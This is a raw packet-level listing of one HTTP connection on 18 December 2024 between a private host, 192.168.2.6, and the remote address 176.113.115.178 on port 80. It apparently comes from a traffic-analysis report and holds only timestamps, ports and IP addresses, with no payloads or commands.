Dec 18, 2024 13:49:46.369911909 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.369954109 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.370785952 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.370800018 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.370851040 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.371753931 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.371767998 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.371854067 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.372648001 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.372661114 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.372672081 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.372749090 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.372749090 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.373624086 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.373636007 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.373678923 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.374589920 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.374600887 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.374694109 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.375570059 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.375581980 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.375638962 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.376378059 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.376605034 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.376617908 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.376763105 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.377326012 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.377341032 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.377509117 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.378241062 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.378253937 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.378304005 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.379281044 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.379295111 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.379399061 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.380086899 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.380100965 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.380198956 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.381041050 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.381052971 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.381063938 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.381087065 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.381155014 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.382940054 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.382952929 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.383025885 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.383928061 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.383940935 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.384040117 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.384793997 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.384808064 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.384850025 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.385766983 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.385778904 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.385790110 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.385922909 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.386650085 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.386662960 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.386706114 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.387576103 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.387588978 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.388412952 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.388494015 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.388505936 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.389657021 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.389671087 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.389710903 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.389710903 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.390510082 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.390523911 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.390535116 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.390603065 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.390603065 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.391292095 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.391307116 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.391330957 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.391366005 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.431268930 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.523843050 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.524077892 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.524261951 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.524473906 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.525063038 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.525120974 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.525307894 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.525796890 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.525902987 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.526223898 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.526540995 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.526632071 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.527215004 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.527484894 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.527724981 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.528224945 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.528477907 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.528621912 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.529259920 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.529516935 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.529942036 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.530232906 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.530591965 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.530673027 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.531225920 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.531487942 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.532275915 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.532445908 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.532557964 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.533287048 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.533447027 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.533505917 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.533566952 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.534293890 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.534533978 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.534837008 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.535271883 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.535609007 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.535963058 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.536345005 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.536518097 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.536668062 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.537328005 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.537529945 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.537698030 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.538316965 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.538707018 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.538815022 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.539335966 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.539653063 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.539710045 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.540438890 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.540630102 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.541404963 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.541407108 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.541652918 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.541752100 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.542517900 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.542632103 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.543050051 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.543510914 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.543685913 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.543884039 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.544629097 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.545017958 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.545177937 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.545681000 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.545892954 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.546555996 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.546719074 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.546974897 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.547023058 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.547909021 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.548154116 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.548962116 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.549107075 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.549236059 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.549542904 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.549931049 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.550110102 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.550410032 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.550719976 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.550945997 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.551476002 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.551774025 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.551786900 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.551840067 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.552701950 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.552937984 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.552974939 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.553833008 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.554083109 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.554147959 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.555186987 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.555363894 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.555605888 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.556237936 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.556443930 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.556516886 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.557159901 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.557636023 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.557729006 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.558314085 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.558669090 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.558717966 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.559480906 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.559695005 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.560372114 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.560575008 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.560581923 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.561182976 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.561244011 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.561358929 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.561980963 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.562263012 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.562688112 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.563000917 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.563139915 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.563580036 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.563975096 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.563987017 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.564939976 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.565000057 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.565243959 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.566185951 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.566414118 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.566543102 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.567197084 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.567441940 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.567496061 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.568465948 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.568717003 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.568758965 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.569611073 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.569866896 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.569937944 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.570705891 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.570966005 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.571063042 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.571788073 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.572053909 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.572889090 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.572926044 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.573143005 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.573843956 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.574027061 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.574817896 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.574868917 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.574868917 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.575072050 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.575607061 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.575632095 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.575733900 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.576292038 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.576323986 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.576477051 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.577169895 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.577231884 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.715827942 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.716028929 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.716456890 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.716489077 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.716902971 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.717430115 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.717470884 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.717755079 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.717820883 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.718095064 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.718729019 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.718862057 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.719002008 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.719777107 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.719974041 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.720071077 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.720906019 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.720958948 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.721152067 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.721770048 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.721832037 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.722052097 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.722721100 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.722794056 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.722991943 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.723747015 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.723953009 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.724025965 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.724736929 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.724839926 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.724981070 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.725760937 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.725872040 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.725958109 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.726769924 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.726881027 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.727076054 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.727835894 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.728049040 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.728193045 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.728776932 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.729023933 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.729182959 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.729895115 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.730103970 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.730271101 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.730875015 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.730963945 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.731107950 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.731834888 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.732115030 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.732531071 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.732829094 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.733115911 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.733225107 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.733894110 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.733968973 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.734169006 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.734818935 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.734931946 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.735053062 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.735943079 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.736180067 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.736206055 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.736994028 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.737066984 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.737265110 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.738002062 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.738270044 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.738326073 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.739053965 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.739075899 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.739170074 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.739888906 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.740191936 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.740251064 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.741025925 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.741261005 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.741475105 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.742077112 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.742089033 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.742130041 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.742891073 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.742961884 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.743092060 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.743891954 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.744102001 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.744154930 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.744934082 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.745105982 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.745177031 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.745893002 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.746227026 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.746372938 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.746938944 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.747134924 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.747248888 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.747926950 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.748155117 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.748161077 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.748950958 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.749000072 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:46.749241114 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:46.749980927 CET	80	49822	176.113.115.178	192.168.2.6
